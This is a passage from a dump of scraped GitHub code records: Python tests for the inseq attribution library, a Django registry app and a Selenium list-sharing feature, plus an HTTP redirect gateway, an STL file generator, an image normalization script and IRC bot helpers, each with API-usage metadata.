"inference.MeasureTime", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 190, "usage_type": "attribute"}, {"api_name": "numpy.amax", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 194, "usage_type": "call"}, {"api_name": "scipy.io.wavfile.write", "line_number": 196, "usage_type": "call"}]} {"seq_id": "5393336157", "text": "import json\nimport os\n\nimport torch\nfrom pytest import fixture\n\nimport inseq\nfrom inseq.data.aggregator import (\n AggregatorPipeline,\n ContiguousSpanAggregator,\n PairAggregator,\n SequenceAttributionAggregator,\n SubwordAggregator,\n)\nfrom inseq.models import HuggingfaceDecoderOnlyModel, HuggingfaceEncoderDecoderModel\n\nEXAMPLES_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"../fixtures/aggregator.json\")\nEXAMPLES = json.load(open(EXAMPLES_FILE))\n\n\n@fixture(scope=\"session\")\ndef saliency_mt_model() -> HuggingfaceEncoderDecoderModel:\n return inseq.load_model(\"Helsinki-NLP/opus-mt-en-it\", \"saliency\", device=\"cpu\")\n\n\n@fixture(scope=\"session\")\ndef saliency_gpt_model() -> HuggingfaceDecoderOnlyModel:\n return inseq.load_model(\"gpt2\", \"saliency\", device=\"cpu\")\n\n\ndef test_sequence_attribution_aggregator(saliency_mt_model: HuggingfaceEncoderDecoderModel):\n out = saliency_mt_model.attribute(\n \"This is a test.\",\n step_scores=[\"probability\"],\n attribute_target=True,\n output_step_attributions=True,\n device=\"cpu\",\n show_progress=False,\n )\n seqattr = out.sequence_attributions[0]\n assert seqattr.source_attributions.shape == (6, 7, 512)\n assert seqattr.target_attributions.shape == (7, 7, 512)\n assert seqattr.step_scores[\"probability\"].shape == (7,)\n for i, step in enumerate(out.step_attributions):\n assert step.source_attributions.shape == (1, 6, 512)\n assert step.target_attributions.shape == (1, i + 1, 512)\n out_agg = seqattr.aggregate()\n assert out_agg.source_attributions.shape == (6, 7)\n assert out_agg.target_attributions.shape == (7, 7)\n assert out_agg.step_scores[\"probability\"].shape == (7,)\n\n\ndef test_continuous_span_aggregator(saliency_mt_model: HuggingfaceEncoderDecoderModel):\n out = saliency_mt_model.attribute(\n \"This is a test.\", attribute_target=True, step_scores=[\"probability\"], device=\"cpu\", show_progress=False\n )\n seqattr = out.sequence_attributions[0]\n out_agg = seqattr.aggregate(ContiguousSpanAggregator, source_spans=(3, 5), target_spans=[(0, 3), (4, 6)])\n assert out_agg.source_attributions.shape == (5, 4, 512)\n assert out_agg.target_attributions.shape == (4, 4, 512)\n assert out_agg.step_scores[\"probability\"].shape == (4,)\n\n\ndef test_span_aggregator_with_prefix(saliency_gpt_model: HuggingfaceDecoderOnlyModel):\n out = saliency_gpt_model.attribute(\"Hello, world! I am,:.\", \"Hello, world! I am,:.!,. Last\")\n aggregated = out.aggregate(\"subwords\", special_symbol=(\"Ġ\", \"Ċ\")).aggregate()\n assert aggregated[0].target_attributions.shape == (5, 2)\n assert aggregated[0].attr_pos_start == 3\n assert aggregated[0].attr_pos_end == 5\n\n\ndef test_aggregator_pipeline(saliency_mt_model: HuggingfaceEncoderDecoderModel):\n out = saliency_mt_model.attribute(\n \"This is a test.\", attribute_target=True, step_scores=[\"probability\"], device=\"cpu\", show_progress=False\n )\n seqattr = out.sequence_attributions[0]\n squeezesum = AggregatorPipeline([ContiguousSpanAggregator, SequenceAttributionAggregator])\n out_agg_squeezesum = seqattr.aggregate(squeezesum, source_spans=(3, 5), target_spans=[(0, 3), (4, 6)])\n assert out_agg_squeezesum.source_attributions.shape == (5, 4)\n assert out_agg_squeezesum.target_attributions.shape == (4, 4)\n assert out_agg_squeezesum.step_scores[\"probability\"].shape == (4,)\n sumsqueeze = AggregatorPipeline([SequenceAttributionAggregator, ContiguousSpanAggregator])\n out_agg_sumsqueeze = seqattr.aggregate(sumsqueeze, source_spans=(3, 5), target_spans=[(0, 3), (4, 6)])\n assert out_agg_sumsqueeze.source_attributions.shape == (5, 4)\n assert out_agg_sumsqueeze.target_attributions.shape == (4, 4)\n assert out_agg_sumsqueeze.step_scores[\"probability\"].shape == (4,)\n assert not torch.allclose(out_agg_squeezesum.source_attributions, out_agg_sumsqueeze.source_attributions)\n assert not torch.allclose(out_agg_squeezesum.target_attributions, out_agg_sumsqueeze.target_attributions)\n # Named indexing version\n named_squeezesum = [\"spans\", \"scores\"]\n named_sumsqueeze = [\"scores\", \"spans\"]\n out_agg_squeezesum_named = seqattr.aggregate(named_squeezesum, source_spans=(3, 5), target_spans=[(0, 3), (4, 6)])\n out_agg_sumsqueeze_named = seqattr.aggregate(named_sumsqueeze, source_spans=(3, 5), target_spans=[(0, 3), (4, 6)])\n assert out_agg_squeezesum_named.source_attributions.shape == (5, 4)\n assert out_agg_squeezesum_named.target_attributions.shape == (4, 4)\n assert out_agg_squeezesum_named.step_scores[\"probability\"].shape == (4,)\n assert out_agg_sumsqueeze_named.source_attributions.shape == (5, 4)\n assert out_agg_sumsqueeze_named.target_attributions.shape == (4, 4)\n assert out_agg_sumsqueeze_named.step_scores[\"probability\"].shape == (4,)\n assert not torch.allclose(\n out_agg_squeezesum_named.source_attributions, out_agg_sumsqueeze_named.source_attributions\n )\n assert not torch.allclose(\n out_agg_squeezesum_named.target_attributions, out_agg_sumsqueeze_named.target_attributions\n )\n\n\ndef test_subword_aggregator(saliency_mt_model: HuggingfaceEncoderDecoderModel):\n out = saliency_mt_model.attribute(EXAMPLES[\"source\"], show_progress=False)\n seqattr = out.sequence_attributions[0]\n for idx, token in enumerate(seqattr.source):\n assert token.token == EXAMPLES[\"source_subwords\"][idx]\n for idx, token in enumerate(seqattr.target):\n assert token.token == EXAMPLES[\"target_subwords\"][idx]\n # Full aggregation\n out_agg = seqattr.aggregate(SubwordAggregator)\n for idx, token in enumerate(out_agg.source):\n assert token.token == EXAMPLES[\"source_merged\"][idx]\n for idx, token in enumerate(out_agg.target):\n assert token.token == EXAMPLES[\"target_merged\"][idx]\n # Source-only aggregation\n out_agg = seqattr.aggregate(SubwordAggregator, aggregate_target=False)\n for idx, token in enumerate(out_agg.source):\n assert token.token == EXAMPLES[\"source_merged\"][idx]\n for idx, token in enumerate(out_agg.target):\n assert token.token == EXAMPLES[\"target_subwords\"][idx]\n # Target-only aggregation\n out_agg = seqattr.aggregate(SubwordAggregator, aggregate_source=False)\n for idx, token in enumerate(out_agg.source):\n assert token.token == EXAMPLES[\"source_subwords\"][idx]\n for idx, token in enumerate(out_agg.target):\n assert token.token == EXAMPLES[\"target_merged\"][idx]\n\n\ndef test_pair_aggregator(saliency_mt_model: HuggingfaceEncoderDecoderModel):\n out = saliency_mt_model.attribute([EXAMPLES[\"source\"], EXAMPLES[\"alternative_source\"]], show_progress=False)\n orig_seqattr = out.sequence_attributions[0].aggregate([\"vnorm\"])\n alt_seqattr = out.sequence_attributions[1].aggregate([\"vnorm\"])\n diff_seqattr = orig_seqattr.aggregate(PairAggregator, paired_attr=alt_seqattr)\n for idx, token in enumerate(diff_seqattr.source):\n assert token.token == EXAMPLES[\"diff_subwords\"][idx]\n assert torch.allclose(\n alt_seqattr.source_attributions - orig_seqattr.source_attributions, diff_seqattr.source_attributions\n )\n # Default aggregation with SequenceAttributionAggregator\n orig_seqattr_other = out.sequence_attributions[0].aggregate()\n alt_seqattr_other = out.sequence_attributions[1].aggregate()\n # Aggregate with aggregator name\n diff_seqattr_other = orig_seqattr_other.aggregate(\"pair\", paired_attr=alt_seqattr_other)\n assert torch.allclose(diff_seqattr_other.source_attributions, diff_seqattr.source_attributions)\n\n\ndef test_named_aggregate_fn_aggregation(saliency_mt_model: HuggingfaceEncoderDecoderModel):\n out = saliency_mt_model.attribute(\n [EXAMPLES[\"source\"], EXAMPLES[\"alternative_source\"]],\n show_progress=False,\n attribute_target=True,\n method=\"attention\",\n )\n out_headmean = out.aggregate(aggregator=[\"mean\", \"mean\"])\n assert out_headmean.sequence_attributions[0].source_attributions.ndim == 2\n assert out_headmean.sequence_attributions[0].target_attributions.ndim == 2\n assert out_headmean.sequence_attributions[1].source_attributions.ndim == 2\n assert out_headmean.sequence_attributions[1].target_attributions.ndim == 2\n out_allmean_subwords = out.aggregate(aggregator=[\"mean\", \"mean\", \"subwords\"])\n\n # Check whether scores aggregation worked correctly\n assert out_allmean_subwords.sequence_attributions[0].source_attributions.ndim == 2\n assert out_allmean_subwords.sequence_attributions[0].target_attributions.ndim == 2\n assert out_allmean_subwords.sequence_attributions[1].source_attributions.ndim == 2\n assert out_allmean_subwords.sequence_attributions[1].target_attributions.ndim == 2\n\n # Check whether subword aggregation worked correctly\n assert (\n out_allmean_subwords.sequence_attributions[0].source_attributions.shape[0]\n < out.sequence_attributions[0].source_attributions.shape[0]\n )\n assert (\n out_allmean_subwords.sequence_attributions[0].target_attributions.shape[0]\n < out.sequence_attributions[0].target_attributions.shape[0]\n )\n assert (\n out_allmean_subwords.sequence_attributions[1].source_attributions.shape[0]\n < out.sequence_attributions[1].source_attributions.shape[0]\n )\n assert (\n out_allmean_subwords.sequence_attributions[1].target_attributions.shape[0]\n < out.sequence_attributions[1].target_attributions.shape[0]\n )\n\n out_allmean_subwords_expanded = out.aggregate(\n aggregator=[\"scores\", \"scores\", \"subwords\"], aggregate_fn=[\"mean\", \"mean\", None]\n )\n assert out_allmean_subwords == out_allmean_subwords_expanded\n", "repo_name": "inseq-team/inseq", "sub_path": "tests/data/test_aggregator.py", "file_name": "test_aggregator.py", "file_ext": "py", "file_size_in_byte": 9680, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 223, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 17, "usage_type": "call"}, {"api_name": "json.load", "line_number": 18, "usage_type": "call"}, {"api_name": "inseq.load_model", "line_number": 23, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 21, "usage_type": "call"}, {"api_name": "inseq.models.HuggingfaceEncoderDecoderModel", "line_number": 22, "usage_type": "name"}, {"api_name": "inseq.load_model", "line_number": 28, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 26, "usage_type": "call"}, {"api_name": "inseq.models.HuggingfaceDecoderOnlyModel", "line_number": 27, "usage_type": "name"}, {"api_name": "inseq.models.HuggingfaceEncoderDecoderModel", "line_number": 31, "usage_type": "name"}, {"api_name": "inseq.models.HuggingfaceEncoderDecoderModel", "line_number": 53, "usage_type": "name"}, {"api_name": "inseq.data.aggregator.ContiguousSpanAggregator", "line_number": 58, "usage_type": "argument"}, {"api_name": "inseq.models.HuggingfaceDecoderOnlyModel", "line_number": 64, "usage_type": "name"}, {"api_name": "inseq.models.HuggingfaceEncoderDecoderModel", "line_number": 72, "usage_type": "name"}, {"api_name": "inseq.data.aggregator.AggregatorPipeline", "line_number": 77, "usage_type": "call"}, {"api_name": "inseq.data.aggregator.ContiguousSpanAggregator", "line_number": 77, "usage_type": "name"}, {"api_name": "inseq.data.aggregator.SequenceAttributionAggregator", "line_number": 77, "usage_type": "name"}, {"api_name": "inseq.data.aggregator.AggregatorPipeline", "line_number": 82, "usage_type": "call"}, {"api_name": "inseq.data.aggregator.SequenceAttributionAggregator", "line_number": 82, "usage_type": "name"}, {"api_name": "inseq.data.aggregator.ContiguousSpanAggregator", "line_number": 82, "usage_type": "name"}, {"api_name": "torch.allclose", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.allclose", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.allclose", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.allclose", "line_number": 103, "usage_type": "call"}, {"api_name": "inseq.models.HuggingfaceEncoderDecoderModel", "line_number": 108, "usage_type": "name"}, {"api_name": "inseq.data.aggregator.SubwordAggregator", "line_number": 116, "usage_type": "argument"}, {"api_name": "inseq.data.aggregator.SubwordAggregator", "line_number": 122, "usage_type": "argument"}, {"api_name": "inseq.data.aggregator.SubwordAggregator", "line_number": 128, "usage_type": "argument"}, {"api_name": "inseq.models.HuggingfaceEncoderDecoderModel", "line_number": 135, "usage_type": "name"}, {"api_name": "inseq.data.aggregator.PairAggregator", "line_number": 139, "usage_type": "argument"}, {"api_name": "torch.allclose", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.allclose", "line_number": 150, "usage_type": "call"}, {"api_name": "inseq.models.HuggingfaceEncoderDecoderModel", "line_number": 153, "usage_type": "name"}]} {"seq_id": "9897515143", "text": "from Helper.RequestContext import RequestContext\nfrom Helper.RoutingEndpoint import RoutingEndpoint\nfrom Handler.LogHandler import LogHandler\nimport http.client\nimport json\nimport datetime\n\nclass RequestRedirectManager:\n\n def __init__(self,log : LogHandler):\n self._log = log\n\n def RedirectRequest(self,context : RequestContext, endpoint : RoutingEndpoint):\n print(\"--->In Request Redirect Manager\\n Request redirected to http://\"+endpoint.Host+\":\"+str(endpoint.Port)+endpoint.Url)\n client = http.client.HTTPConnection(endpoint.Host,endpoint.Port) \n self._log.LogHttpInfo(endpoint,context.Command) \n payload = None if context.Command == 'GET' else self.AddPayloadToken(context.RequestMessage.read(int(context.Header['Content-Length'])))\n client.request(context.Command,endpoint.Url,payload,{'Content-type': 'application/json'})\n response = client.getresponse()\n context.SetResponse(response.status,response.reason,response.read())\n client.close()\n return context\n\n def AddPayloadToken(self,payload):\n payloadJson = json.loads(payload)\n payloadJson['PayLoadToken'] = datetime.datetime.now().timestamp()\n print(payloadJson)\n self._log.DataLogger(payloadJson)\n return json.dumps(payloadJson)\n \n ", "repo_name": "amrishAK/DBB_gateway", "sub_path": "Manager/RequestRedirectManager.py", "file_name": "RequestRedirectManager.py", "file_ext": "py", "file_size_in_byte": 1330, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "Handler.LogHandler.LogHandler", "line_number": 10, "usage_type": "name"}, {"api_name": "Helper.RequestContext.RequestContext", "line_number": 13, "usage_type": "name"}, {"api_name": "Helper.RoutingEndpoint.RoutingEndpoint", "line_number": 13, "usage_type": "name"}, {"api_name": "http.client.client.HTTPConnection", "line_number": 15, "usage_type": "call"}, {"api_name": "http.client.client", "line_number": 15, "usage_type": "attribute"}, {"api_name": "http.client", "line_number": 15, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 29, "usage_type": "call"}]} {"seq_id": "33676674123", "text": "import pytest\n\nfrom api.models import CelebrationDay, RegistryUser, GiftItem\nfrom faker import Faker\n\nfake = Faker()\nTEST_USER_ID = '54321'\n\n@pytest.fixture\ndef api_client():\n from rest_framework.test import APIClient\n return APIClient()\n\n@pytest.fixture\ndef user_create(django_user_model):\n def make_user(**kwargs):\n return django_user_model.objects.create(\n sub = 123456789,\n email = 'testuser@testuser.com',\n first_name = 'test',\n last_name = 'user',\n id = TEST_USER_ID) \n return make_user\n\n@pytest.fixture\ndef non_auth_user_create(django_user_model):\n def make_non_auth_user(**kwargs):\n return django_user_model.objects.create(\n sub = 987654321,\n email = 'non_auth_user@non_auth_user.com',\n first_name = 'non_auth',\n last_name = 'user',\n id = f'{TEST_USER_ID}12345') \n return make_non_auth_user\n\n@pytest.fixture\ndef api_auth_client(user_create, api_client):\n user = user_create()\n api_client.force_authenticate(user=user)\n yield api_client\n api_client.force_authenticate(user=None)\n\n@pytest.fixture\ndef create_owned_base_model(user_create):\n user = RegistryUser.objects.get(id=TEST_USER_ID)\n payload={\n 'name': fake.name(),\n 'owner': user,\n 'created_at': fake.date(),\n 'updated_at': fake.date(),\n }\n return payload \n \n@pytest.fixture\ndef create_celebration_day_item(create_owned_base_model):\n payload={\n 'date': fake.date(),\n }\n celebration_day = CelebrationDay.objects.create(**payload, **create_owned_base_model)\n return celebration_day\n\n@pytest.fixture\ndef create_gift_item(create_owned_base_model):\n payload={\n 'is_purchased': fake.boolean(),\n 'notes': fake.text(),\n }\n gift_item = GiftItem.objects.create(**payload, **create_owned_base_model)\n return gift_item \n\n@pytest.fixture\ndef create_non_auth_user_gift_item(non_auth_user_create):\n user = non_auth_user_create()\n payload={\n 'name': fake.name(),\n 'owner': user,\n 'created_at': fake.date(),\n 'updated_at': fake.date(),\n 'is_purchased': fake.boolean(),\n 'notes': fake.text(),\n }\n gift_item = GiftItem.objects.create(**payload)\n return gift_item \n", "repo_name": "zanderambrose/Giftqueue", "sub_path": "backend/api/tests/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 2235, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "faker.Faker", "line_number": 6, "usage_type": "call"}, {"api_name": "rest_framework.test.APIClient", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 36, "usage_type": "attribute"}, {"api_name": "api.models.RegistryUser.objects.get", "line_number": 45, "usage_type": "call"}, {"api_name": "api.models.RegistryUser.objects", "line_number": 45, "usage_type": "attribute"}, {"api_name": "api.models.RegistryUser", "line_number": 45, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 43, "usage_type": "attribute"}, {"api_name": "api.models.CelebrationDay.objects.create", "line_number": 59, "usage_type": "call"}, {"api_name": "api.models.CelebrationDay.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "api.models.CelebrationDay", "line_number": 59, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 54, "usage_type": "attribute"}, {"api_name": "api.models.GiftItem.objects.create", "line_number": 68, "usage_type": "call"}, {"api_name": "api.models.GiftItem.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "api.models.GiftItem", "line_number": 68, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 62, "usage_type": "attribute"}, {"api_name": "api.models.GiftItem.objects.create", "line_number": 82, "usage_type": "call"}, {"api_name": "api.models.GiftItem.objects", "line_number": 82, "usage_type": "attribute"}, {"api_name": "api.models.GiftItem", "line_number": 82, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 71, "usage_type": "attribute"}]} {"seq_id": "11564069729", "text": "import itertools\r\n\r\nfrom . import util\r\nfrom . import calc_stl\r\n\r\nut = util.UTIL()\r\ncs = calc_stl.Calc_STL()\r\n\r\n\r\nclass GEN_STL_ASCII():\r\n\r\n\r\n def pt2stl_vec(self, vector):\r\n return \"facet normal \" + str(vector[0]) + \" \" + str(vector[1]) + \" \" + str(vector[2])\r\n\r\n\r\n def pt2stl_pt(self, point):\r\n return \"vertex \" + str(point[0]) + \" \" + str(point[1]) + \" \" + str(point[2])\r\n\r\n\r\n def format_stl(self, meshes):\r\n formated = []\r\n\r\n header = \"solid nameee\"\r\n formated.append(header)\r\n\r\n for flatten in range(len(meshes)):\r\n formated.append(meshes[flatten])\r\n\r\n footer = \"endsolid nameee\"\r\n formated.append(footer)\r\n\r\n return formated\r\n\r\n\r\n def stl_3pt(self, pt3):\r\n\r\n stl = []\r\n\r\n ### calc normal vector\r\n va = cs.face_normal(pt3)\r\n\r\n stl.append(self.pt2stl_vec(va))\r\n stl.append(\"outer loop\")\r\n stl.append(self.pt2stl_pt(pt3[0]))\r\n stl.append(self.pt2stl_pt(pt3[1]))\r\n stl.append(self.pt2stl_pt(pt3[2]))\r\n stl.append(\"endloop\")\r\n stl.append(\"endfacet\")\r\n\r\n return stl\r\n\r\n\r\n def gen_stl_ascii(self, pt3_list, export_path):\r\n\r\n meshes = []\r\n\r\n for num in range(len(pt3_list)):\r\n\r\n # print(num)\r\n\r\n m = self.stl_3pt(pt3_list[num])\r\n meshes.append(m)\r\n\r\n\r\n ### Flatten\r\n meshes = list(itertools.chain.from_iterable(meshes))\r\n # print(meshes)\r\n\r\n export = self.format_stl(meshes)\r\n\r\n ### Export File\r\n with open(export_path, mode='w') as f:\r\n f.write('\\n'.join(export))\r\n \r\n print(\"Export (Ascii) : {}\".format(export_path))\r\n\r\n", "repo_name": "naysok/Python_STL", "sub_path": "python_stl/gen_stl_ascii.py", "file_name": "gen_stl_ascii.py", "file_ext": "py", "file_size_in_byte": 1696, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "itertools.chain.from_iterable", "line_number": 67, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 67, "usage_type": "attribute"}]} {"seq_id": "45393286742", "text": "import os\r\nimport argparse\r\nimport cv2\r\n\r\n\r\nimport image_processing\r\nimport dataset_handler\r\n\r\noverwrite = False\r\n\r\n\r\ndef test():\r\n\r\n\tmypath = \"d:\\\\Diplomamunka\\\\CNN-1\\\\working_dir\\\\\"\r\n\tf = []\r\n\tfor (dirpath, dirnames, filenames) in os.walk(mypath):\r\n\t\t\r\n\t\tprint(dirpath, dirnames)\r\n\t\r\n\r\n\r\ndef main():\r\n\r\n\tif False:\r\n\t\tparser = argparse.ArgumentParser(description='Recursive normalizer.')\r\n\t\tparser.add_argument('csv_in', metavar='csv_in', type=str)\r\n\t\t#parser.add_argument('dir_out', metavar='dir_out', type=str)\r\n\r\n\t\targs = parser.parse_args()\r\n\r\n\t\tcsv_in = args.csv_in\r\n\t\t#dir_out = args.dir_out\r\n\telse:\r\n\t\tcsv_in = \"d:\\\\Diplomamunka\\\\CNN-1\\\\working_dir\\\\jura\\\\11.10\\\\Bpas-Verdict.csv\"\r\n\t#print(dir_in, dir_out)\r\n\r\n\t#if not os.path.isfile(csv_in) or not os.path.isdir(dir_out):\r\n\tif not os.path.isfile(csv_in):\r\n\t\tprint(csv_in, \" does not exist\")\r\n\t\traise AssertionError\r\n\r\n\t#if dir_in == dir_out:\r\n\t#\traise Exception\r\n\r\n\t#corners_list = []\r\n\tinput_list = dataset_handler.read_full_input(csv_in, zip_results=True)\r\n\r\n\r\n\tfor entry in input_list:\r\n\t\tpath, _, corners = entry\r\n\r\n\t\tname = os.path.basename(path)\r\n\t\tdir = os.path.dirname(path)\r\n\r\n\t\tif len(corners) == 0:\r\n\t\t\tprint(path, \" skipped: no corner info\")\r\n\t\t\tcontinue\r\n\t\t\r\n\t\tnew_name = \"normalized_\" + name\r\n\t\tnew_path = dir + \"\\\\\" + new_name\r\n\r\n\t\tin_image = cv2.imread(path)\r\n\t\tresult = image_processing.normalize_image(in_image, corners)\r\n\t\tif not os.path.exists(new_path) or overwrite:\r\n\t\t\tcv2.imwrite(new_path, result)\r\n\t\t\tprint(path, \"->\", new_name , \" done\")\r\n\t\telse:\r\n\t\t\tprint(new_path, \"already exists\")\r\n\r\n\t\tpass\r\n\t\r\n\r\n\r\n\treturn\r\n\r\nif __name__ == \"__main__\":\r\n\t\r\n\ttry:\r\n\t\tmain()\r\n\texcept AssertionError:\r\n\t\tprint(\"Task failed\")\r\n\r\n\r\n\r\n", "repo_name": "csatacsirke/diplomamunka", "sub_path": "CNN-1/batch_normalize.py", "file_name": "batch_normalize.py", "file_ext": "py", "file_size_in_byte": 1702, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.walk", "line_number": 16, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "dataset_handler.read_full_input", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 62, "usage_type": "call"}, {"api_name": "image_processing.normalize_image", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 65, "usage_type": "call"}]} {"seq_id": "18249857595", "text": "from selenium import webdriver\nfrom .base import FunctionalTest\nfrom .list_page import ListPage\nfrom .my_lists_page import MyListsPage\n\n\ndef quit_if_possible(browser):\n try: browser.quit()\n except: pass\n\n\nclass SharingTest(FunctionalTest):\n\n def test_can_share_list_with_another_user(self):\n # Carl is a logged-in user\n self.create_pre_authenticated_session('carl@abv.bg')\n carl_browser = self.browser\n self.addCleanup(lambda: quit_if_possible(carl_browser))\n\n # his friend Lucifer is also hanging out\n luci_browser = webdriver.Firefox()\n self.addCleanup(lambda: quit_if_possible(luci_browser))\n self.browser = luci_browser\n self.create_pre_authenticated_session('luci')\n\n # carl goes to the home page and starts a list\n self.browser = carl_browser\n self.browser.get(self.live_server_url)\n list_page = ListPage(self).add_list_item('Pray')\n\n # He notices a share this list button\n share_box = list_page.get_share_box()\n self.assertEqual(\n share_box.get_attribute('placeholder'),\n 'your-friend@example.com'\n )\n\n # the page updates to say that the list has been shared wiwth luci\n list_page.share_list_with('luci')\n\n # Lucifer goes to the list page\n self.browser = luci_browser\n MyListPage(self).go_to_my_lists_page()\n\n # He sees Carl's list in there! WTF?\n self.browser.find_element_by_link_text('Pray').click()\n\n # On the list page, Lucifer can see that it's Carl's list\n self.wait_for(lambda: self.assertEqual(\n list_page.get_list_owner(),\n 'carl@abv.bg'\n ))\n\n # He adds an item to the list\n list_page.add_list_item('To the devil!')\n\n # When Carl refreshes the page, he sees Lucifer's message\n self.browser = carl_browser\n self.browser.refresh()\n list_page.wait_for_row_in_list_table('To the devil!', 2)\n\n", "repo_name": "stanislavkozlovski/django-projects", "sub_path": "testing_goat/superlists_/functional_tests/test_sharing.py", "file_name": "test_sharing.py", "file_ext": "py", "file_size_in_byte": 1989, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "base.FunctionalTest", "line_number": 12, "usage_type": "name"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 21, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 21, "usage_type": "name"}, {"api_name": "list_page.ListPage", "line_number": 29, "usage_type": "call"}, {"api_name": "list_page.get_share_box", "line_number": 32, "usage_type": "call"}, {"api_name": "list_page.share_list_with", "line_number": 39, "usage_type": "call"}, {"api_name": "list_page.get_list_owner", "line_number": 50, "usage_type": "call"}, {"api_name": "list_page.add_list_item", "line_number": 55, "usage_type": "call"}, {"api_name": "list_page.wait_for_row_in_list_table", "line_number": 60, "usage_type": "call"}]} {"seq_id": "23684408195", "text": "import time\nimport sys\n\nfrom six.moves import _thread\nfrom simpbot import envvars\nfrom simpbot import __version__\n\n\ndef ascii(start='#'):\n head = ''\n head += '{0} ____ _ __ _______ ____ ______________\\n'\n head += '{0} / ___|(_)| \\ / ___ \\| __ \\ / _ \\___ ___/\\n'\n head += '{0} | |__ | || \\/ |___||||__||| / \\ | | |\\n'\n head += '{0} \\___ \\| || |\\ /| ____/| __ || | | | | |\\n'\n head += '{0} ___| || || | \\/ | | ||__||| \\_/ | | |\\n'\n head += '{0}/____ /|_|| | |_| |____/ \\___/ |_|\\n'\n head += '{0} Copyright 2016-2017, Ismael Lugo (kwargs) v{1}\\n'\n return head.format(start, __version__)\n\n\ndef debug(level, daemon=envvars.daemon):\n #kw = {'level': level, 'format': '%(name)s - %(levelname)s: %(message)s'}\n kw = {\n 'level': level,\n 'format': '%(levelname)s: %(message)s',\n\n # shut up excepthook!\n 'stream': sys.stdout\n }\n if daemon is True:\n kw['filename'] = envvars.logs.join(time.strftime('%d%m%Y.log'))\n kw['filemode'] = 'a'\n import logging\n logging.basicConfig(**kw)\n\n\ndef invalid_section(conf, section, options):\n status = False\n if conf.has_section(section):\n s = 0\n t = len(options)\n for option in options:\n if conf.has_option(section, option):\n s += 1\n if s != t:\n status = True\n else:\n status = True\n return status\n\n\ndef temp(dtime):\n return float('%.2f' % (time.time() - dtime))\n\n\ndef major(dtime, secs):\n return temp(dtime) > secs\n\n\ndef minor(dtime, secs):\n return temp(dtime) < secs\n\n\ndef thread(func):\n def start_thread(*args, **kwargs):\n _thread.start_new(func, args, kwargs)\n return start_thread\n\n\n_getattr = getattr\ndef getattr(obj, attr):\n if '.' in attr:\n a, b = attr.split('.', 1)\n obj = _getattr(obj, a)\n return getattr(obj, b)\n return _getattr(obj, attr)", "repo_name": "IsmaelRLG/simpbot", "sub_path": "simpbot/bottools/dummy.py", "file_name": "dummy.py", "file_ext": "py", "file_size_in_byte": 1934, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "simpbot.__version__", "line_number": 18, "usage_type": "argument"}, {"api_name": "simpbot.envvars.daemon", "line_number": 21, "usage_type": "attribute"}, {"api_name": "simpbot.envvars", "line_number": 21, "usage_type": "name"}, {"api_name": "sys.stdout", "line_number": 28, "usage_type": "attribute"}, {"api_name": "simpbot.envvars.logs.join", "line_number": 31, "usage_type": "call"}, {"api_name": "simpbot.envvars.logs", "line_number": 31, "usage_type": "attribute"}, {"api_name": "simpbot.envvars", "line_number": 31, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 31, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 34, "usage_type": "call"}, {"api_name": "time.time", "line_number": 53, "usage_type": "call"}, {"api_name": 